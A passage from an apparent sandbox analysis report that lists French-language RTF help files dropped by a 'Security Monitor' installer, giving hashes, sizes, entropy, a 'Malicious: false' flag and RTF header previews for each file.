SHA-512:	43AAB356956B2C61E72CA87EF2AB966EB9BEB23B8A414B017DC6E2061A594556D696E705A346E442B6BE21C798D2720B61515C9ABE5A8582D6F6654829909893
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Time

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\is-OIOC3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	44992
Entropy (8bit):	5.035044653724291
Encrypted:	false
SSDEEP:	768:VkGN4Jt0TaGC5X2kwYp+CjcWkDxKWzHkp2Cj3DQS7RfUaMpQXtjfGKSMpoFbaq0r:VkHx/o6Ns4Tp
MD5:	A4B133AED3E483AD18F78E5A993333DC
SHA1:	0B90C31D5E00389329B841BC8AAE13DD5773A69B
SHA-256:	CAAC008A1495175A0AE18434537C0053B46D5289F3128800D689BC7FA4F92830
SHA-512:	A34192B8217C7352E3907976062BC5B3BAB5B6FDE2C9A8C885CA8DD8E48EE9A94226EBF6AE1E05371A051CF041E8C4DCB08957F257C5A349EFEF679A5059F8FF
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\is-PR69D.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	45200
Entropy (8bit):	5.054793082738369
Encrypted:	false
SSDEEP:	768:Vk1q34J9zZenGLQ4oaqVYmSSlSQ4KxTmm38RiaKvX2pBEz/9qj+793RM1HWMV5XA:VklnI3K4T7
MD5:	C60A8FC0107FBDBEF9FDD171B44442FD
SHA1:	F0F4187630411D3F6F0DE7ECD98CE99AAD45AAD9
SHA-256:	576A4766C686DC03E95228C84262970BC266ECE801DB7127E68EB8F1080CCFFC
SHA-512:	5E209424A9E25DF565C3648A4350AD76FF144165ACBF02FCD891B1F6EB87AA0CEBE3710F9903D9F796005724B44843E8D36E41768BF2E4188191E97ED58D5C61
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\is-RQET0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	43096
Entropy (8bit):	5.0549310472842155
Encrypted:	false
SSDEEP:	768:Vk1IwSxjeXQuTJcOerjj1oKauIKx49kWYhRnFJR2qitxAC5fAw7Wcu7aoZq4TR:VkzQUS7A4TR
MD5:	CFFAB85802341BBD48B8494EE847AB9A
SHA1:	06FA12A2151BA01366452069E218382C32581B41
SHA-256:	51C57212580E8C320617943231A7BA8D592F77544E3BF302E89A419F68EFF751
SHA-512:	99C5E288398E430D0BEC05F3EE93044136DE019BF5A98962550B7D82D069441DC507BE9A22DCCEF62058AA64BF7F78D252BE579899DFF252F25F422C00113772
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f39\fbidi \fswiss\fcharset0\fprq2 Arial CYR;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fro

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\keyboard.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	43096
Entropy (8bit):	5.0549310472842155
Encrypted:	false
SSDEEP:	768:Vk1IwSxjeXQuTJcOerjj1oKauIKx49kWYhRnFJR2qitxAC5fAw7Wcu7aoZq4TR:VkzQUS7A4TR
MD5:	CFFAB85802341BBD48B8494EE847AB9A
SHA1:	06FA12A2151BA01366452069E218382C32581B41
SHA-256:	51C57212580E8C320617943231A7BA8D592F77544E3BF302E89A419F68EFF751
SHA-512:	99C5E288398E430D0BEC05F3EE93044136DE019BF5A98962550B7D82D069441DC507BE9A22DCCEF62058AA64BF7F78D252BE579899DFF252F25F422C00113772
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f39\fbidi \fswiss\fcharset0\fprq2 Arial CYR;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fro

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\logging.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	39446
Entropy (8bit):	5.027602531409886
Encrypted:	false
SSDEEP:	384:qY6g3X45Y8qb7PzybdKkjnxhVj+pmvhY3q2g4Qi6rGsoUwEAG2DaGa:qhg3WxhVCpm5cNZdU4a
MD5:	D0412C982483B1FF14AFA1B5C84956B2
SHA1:	1CBFDCC34F3DBFAC69E0DBC156B7A14A9E68F0FF
SHA-256:	BB09C2D2E43E921D0A42D1EB90AC5EB5639D85A5DFAECF38D36DC3B1D35DF9F8
SHA-512:	A1545A9E433401BB884D801D9FE76C37D8F00A68E9569A62873142446271FEF153A3B2770BA0F9FF11179DCEF03803ECD5CDC9DAA651FCF6036B36FD27556367
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang3082\deflangfe3082\themelang3082\themelangfe0\themelangcs0{\fonttbl{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}..{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fh

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\noPRO.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	52940
Entropy (8bit):	4.975127205823685
Encrypted:	false
SSDEEP:	768:wqeaxjEJHT2njX8x3TLjwUtqYepAkVZEdvI9DhL8DqGJU4wEgmODwKEPrTDjwEaP:wql9hL8/44J0IA9H
MD5:	3F8E8B70614BCFC77C9E8A18E5B10EBF
SHA1:	1AAEB77F20B21A38684CDEDB73575D291C903060
SHA-256:	F55FBEE6CA1A13B8462150E411B63B84763DA220846DF944877DB2F3C617D8AC
SHA-512:	1C4262B5FB06626E41CF0CDD834F8A36007354934A07A24E4FF03BD6DBE45F4E8D52E06B4A08081E2AFEA8CCDD59E684ACF7241EC30B00AF526AB61A5F88ECAC
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\noURL.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	68054
Entropy (8bit):	4.9836821536158835
Encrypted:	false
SSDEEP:	768:wqFy4Te+UJHT2njX8x3TLjwUtqYepAkVZEdvI9vT4H1qRKPN6K2ZREhe5Vu3bXrr:wqJ6IT4HQ++PUIA9pP
MD5:	A7279F7C4C7B0BCB8653144D541FAC2A
SHA1:	6B24410FF99110DB0A369E7CB73E990B799555F8
SHA-256:	CCFBF10B3E30471B234505F21E1929CA1388CD2959423E554A82E0EBF0946D21
SHA-512:	B7C36C86657AE567FD1BF553965F2A6739698A70B82B6A3E64121D056A1941BAD8A1BA867CB1D1B1D83AA7E42B7206786BC712CAD07E517DCB3A0B80F97F26FC
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Tim

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\scheduler.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	42179
Entropy (8bit):	5.051623327565713
Encrypted:	false
SSDEEP:	768:Vk1q34J9zZenGLQ4oaqVYmSSlSQ4KxTmmVQP9RTaC0n1azbtSqqjgq4Tt:VklnIVQPc4Tt
MD5:	5BF7705E104DAE21287D29BA6B73F990
SHA1:	68FE0FAEB83DD82163599C4A0C86A42EB0E1645F
SHA-256:	425E9788DA3299CCF2FE2E25AD8E4BF0EF65F22E2F10702C7EDA2FA6D160917A
SHA-512:	A3D6C652A8C362B22B5F4FE4879411C5468DAAE6ACB6A13DA947D14C8E483C83138DC18212E8D2A1D22656985A2AFED8373A7023B4C4D0BD3992EDBEA0D7875E
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\screenshot.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	45200
Entropy (8bit):	5.054793082738369
Encrypted:	false
SSDEEP:	768:Vk1q34J9zZenGLQ4oaqVYmSSlSQ4KxTmm38RiaKvX2pBEz/9qj+793RM1HWMV5XA:VklnI3K4T7
MD5:	C60A8FC0107FBDBEF9FDD171B44442FD
SHA1:	F0F4187630411D3F6F0DE7ECD98CE99AAD45AAD9
SHA-256:	576A4766C686DC03E95228C84262970BC266ECE801DB7127E68EB8F1080CCFFC
SHA-512:	5E209424A9E25DF565C3648A4350AD76FF144165ACBF02FCD891B1F6EB87AA0CEBE3710F9903D9F796005724B44843E8D36E41768BF2E4188191E97ED58D5C61
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\settings.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	53715
Entropy (8bit):	5.038599976742919
Encrypted:	false
SSDEEP:	768:Vk13TxjelQcX09coHJreOYSN4UIRopZMggLBbWm6V6ER4IE5RP9lIXsqJo6vjo4S:VkLjcv4TI
MD5:	6E82D6B3AAD2EAEC506AA8ABD4728C58
SHA1:	622141D986976DC0ADB2DB17698DBC082BE74674
SHA-256:	91A6F151A727086D36660F130446F70FE6115808C5E56FA36FC82A8CAE25A481
SHA-512:	B0C477686E7583EF9412912A72A7644F80D20EB8EF904E7B0A3F2F89D4B2DB0DD7FC9FDB61B4969787AAE3C931D1B15EA8BAE1BC07CE3D340F40CD3D182804A9
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\siteblock.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	44992
Entropy (8bit):	5.035044653724291
Encrypted:	false
SSDEEP:	768:VkGN4Jt0TaGC5X2kwYp+CjcWkDxKWzHkp2Cj3DQS7RfUaMpQXtjfGKSMpoFbaq0r:VkHx/o6Ns4Tp
MD5:	A4B133AED3E483AD18F78E5A993333DC
SHA1:	0B90C31D5E00389329B841BC8AAE13DD5773A69B
SHA-256:	CAAC008A1495175A0AE18434537C0053B46D5289F3128800D689BC7FA4F92830
SHA-512:	A34192B8217C7352E3907976062BC5B3BAB5B6FDE2C9A8C885CA8DD8E48EE9A94226EBF6AE1E05371A051CF041E8C4DCB08957F257C5A349EFEF679A5059F8FF
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\snapshot.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	44713
Entropy (8bit):	5.051900255865599
Encrypted:	false
SSDEEP:	768:Vk1q34J9zZenGLQ4oaqVYmSSlSQ4KxTmmqARQOjeF/RS+Lp9XhPXhnPnCLTXM40K:VklnIqxR4Td
MD5:	1BD599E9D3E51995F3F39B6B680BCF5D
SHA1:	E0192B60533DD734AD8B4500125A25E78A48E551
SHA-256:	3894B01C5A095E0EA124AE6FE638F75990FB12D96FFD000EDAAD43D9399D5DEF
SHA-512:	726F4E9BED9C4CBF56AC082A81512ED842EADC28028FD6A8895954C4E946F20681E8C6A28236674E3B1006538E10EC2F5974C4F115D74DD1928E7DC2ABA3FF07
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\sound.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	44025
Entropy (8bit):	5.051099948351621
Encrypted:	false
SSDEEP:	768:Vk1q34J9zZenGLQ4oaqVYmSSlSQ4KxTmmqoRWhsPVafhFuogRkPcStxSUeXeq4Ts:VklnIqi4Ts
MD5:	FCD907A82F0CC0B40AB352E6A1D330A9
SHA1:	AB3E2A7ED7791D51D6656A5A133A09CB87A98688
SHA-256:	20618AE093716DFFBF4B00CEBAADE7A5E33D628858BE3B81DD766343752CA2EF
SHA-512:	260890BB6352AE544AFA660DB1CF91CC1CDF5A2843F753F9291F1DB96E7B7E7E1BA10960E48A58F9B42CDD20CFE33C27A10A0A522A713EE8D95711A8ED31A307
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\video.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	46393
Entropy (8bit):	5.040883358685065
Encrypted:	false
